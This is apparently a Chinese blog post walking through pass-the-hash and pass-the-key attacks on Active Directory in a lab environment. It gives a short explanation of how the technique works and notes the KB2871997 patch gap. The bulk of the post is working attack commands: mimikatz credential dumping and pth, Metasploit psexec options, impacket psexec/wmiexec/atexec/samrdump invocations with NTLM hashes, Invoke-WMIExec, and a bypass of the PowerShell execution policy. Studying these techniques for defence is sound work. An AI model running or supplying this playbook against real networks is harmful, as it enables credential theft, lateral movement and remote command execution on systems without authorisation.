本文已参与「新人创作礼」活动,一起开启掘金创作之路
AD域渗透的第二篇,托更一下Kerberos协议的分析文章,等到攻击手法研究明白了,再把协议分析放上来,防止像那些理解不明不白的人写的东西一样祸害人。
发生情况
在高版本的windows server下账号密码不再以明文的方式保存,转而以hash的形式储存,但是假如我们在攻击的时候抓取到了用户hash也可以直接用hash来直接通过验证,模拟用户登录
原理
由于验证原理的问题密码是在本地计算成hash,然后使用hash加密时间戳作为pre-Authention-data来上传,因此如果我们使用自己的脚本来进行验证,使用密码和使用hash是没有本质区别的;同时需要注意一个问题,上面提到的hash时密码经过RC4方式计算出来的,而在一些域中不支持RC4,使用AES key(使用sekurlsa:ekeys导出key),这时候进行攻击的时候就可以通过传递key来实现目的(Pass the Key)
补丁问题
kb2871997,禁止了本地管理员进行远程连接,从而组织了管理员权限执行wmi,psexec等危险命令,但是这个补丁不知道为什么漏了一个默认(user SID=500)本地管理员账户
因此防御PTH攻击的手段就是,打补丁,禁用500账号
攻击手段
mimikatz
PTH
0.依旧不浪费过多时间介绍如何获得hash,此处获得密码的操作在域控上实现
1.获取用户hash
privilege::debug
sekurlsa::logonpasswords
2.使用pth模拟登录
sekurlsa::pth /user:de1ay /domain:de1ay.com /ntlm:161cff084477fe596a5db81874498a24
之后会在原机器上谈一个cmd会话,因此这种方法需要有操作机器的远程访问权限
而且需要注意这个cmd并不是对方机器的,而是本地的,只是相当于这个cmd有对方机器账号的权限,可以对对方机器的资源进行一个访问。
PTK
1.获取aes key
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:DC$ /domain:de1ay.com /aes256:6500b759281a8a6dad55137670508cb6ee16fde9ce93a40d4efb152bbc6d419a
搞定,可以看到就是一个密码处的参数不一样,别的操作都是一样的
MSF&psexec
两种方法从原理来说是一样的,因为msf也是调用了psexec,但是我这个演示靶机好像对psexec不是很感冒,msf报密码错误,psexec卡死,很奇怪
条件
1.开放445端口
2.开放admin共享
msf
use exploit/windows/smb/psexec
set smbdomain de1ay.com
set rhosts 10.10.10.10
set rport 5555
set smbuser de1ay
set smbpass 00000000000000000000000000000000:161cff084477fe596a5db81874498a24
set SMBSHARE c$
run
注意端口问题,有些端口要是不好用会发生攻击成功没有返回值的情况。
psexec
psexec.exe de1ay@10.10.10.10 -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24
python psexec.py -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 de1ay@10.10.10.10
上面是两个版本的操作方法,差不多,然后还有一个问题,psexec不可以再msf的shell中使用,用了msf就会直接卡死
wmiexec
wmiexec.exe -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 de1ay@10.10.10.10
python wmiexec.py -hashes 00000000000000000000000000000000:161cff084477fe596a5db81874498a24 de1ay@10.10.10.10
同样两个版本
还是一样的问题,在msf提供的shell中会有参数问题,需要有对面机器的远程连接权限
同时,可以比较一下,用wmi登录拿到的是我们登录的用户的权限,而psexec拿到的是system权限
这玩意还有一个vbs版本的,但好像只能执行明文密码,而且这玩意被杀软盯的死死的
cscript //nologo wmiexec.vbs /shell 10.10.10.10 de1ay 1qaz@WSX
Powershell脚本
大部分的服务器都应该是禁止执行脚本的
但是吧,执行权限要求是本地管理员,都有本地管理员了那还不修改一下ps策略
set-ExecutionPolicy RemoteSigned 允许添加脚本
之后开始操作
Import-Module .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target 10.10.10.10 -Domain de1ay.com -Username de1ay -Hash 161cff084477fe596a5db81874498a24 -Command "calc.exe" -verbose
除此之外
在impacket工具包中还有几个其他的脚本可以实现
python rpcdump.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
用于查看rpc端点列表
python atexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10 whoami
用于执行命令
python lookupsid.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
查看用户信息
python samrdump.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
获取SAM值
工具
gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)
powershell工具Kevin-Robertson/Invoke-TheHash: PowerShell Pass The Hash Utils (github.com)
感谢
@卿先生 域渗透-凭据传递攻击(pass the hash)完全总结 - 卿先生 - 博客园 (cnblogs.com)
@想走安全的小白 微信公众号
@counseller 提醒了更改策略的方式(1条消息) PowerShell提示此系统中禁止执行脚本的解决方法_counsellor的博客-CSDN博客_powershell 禁止运行脚本
@daiker继续感谢,协议分析写的真的很好,大家都应该去看一看daiker.gitbook.io/windows-pro…
@红日团队 感谢vulnstack2的环境,借用环境来进行演示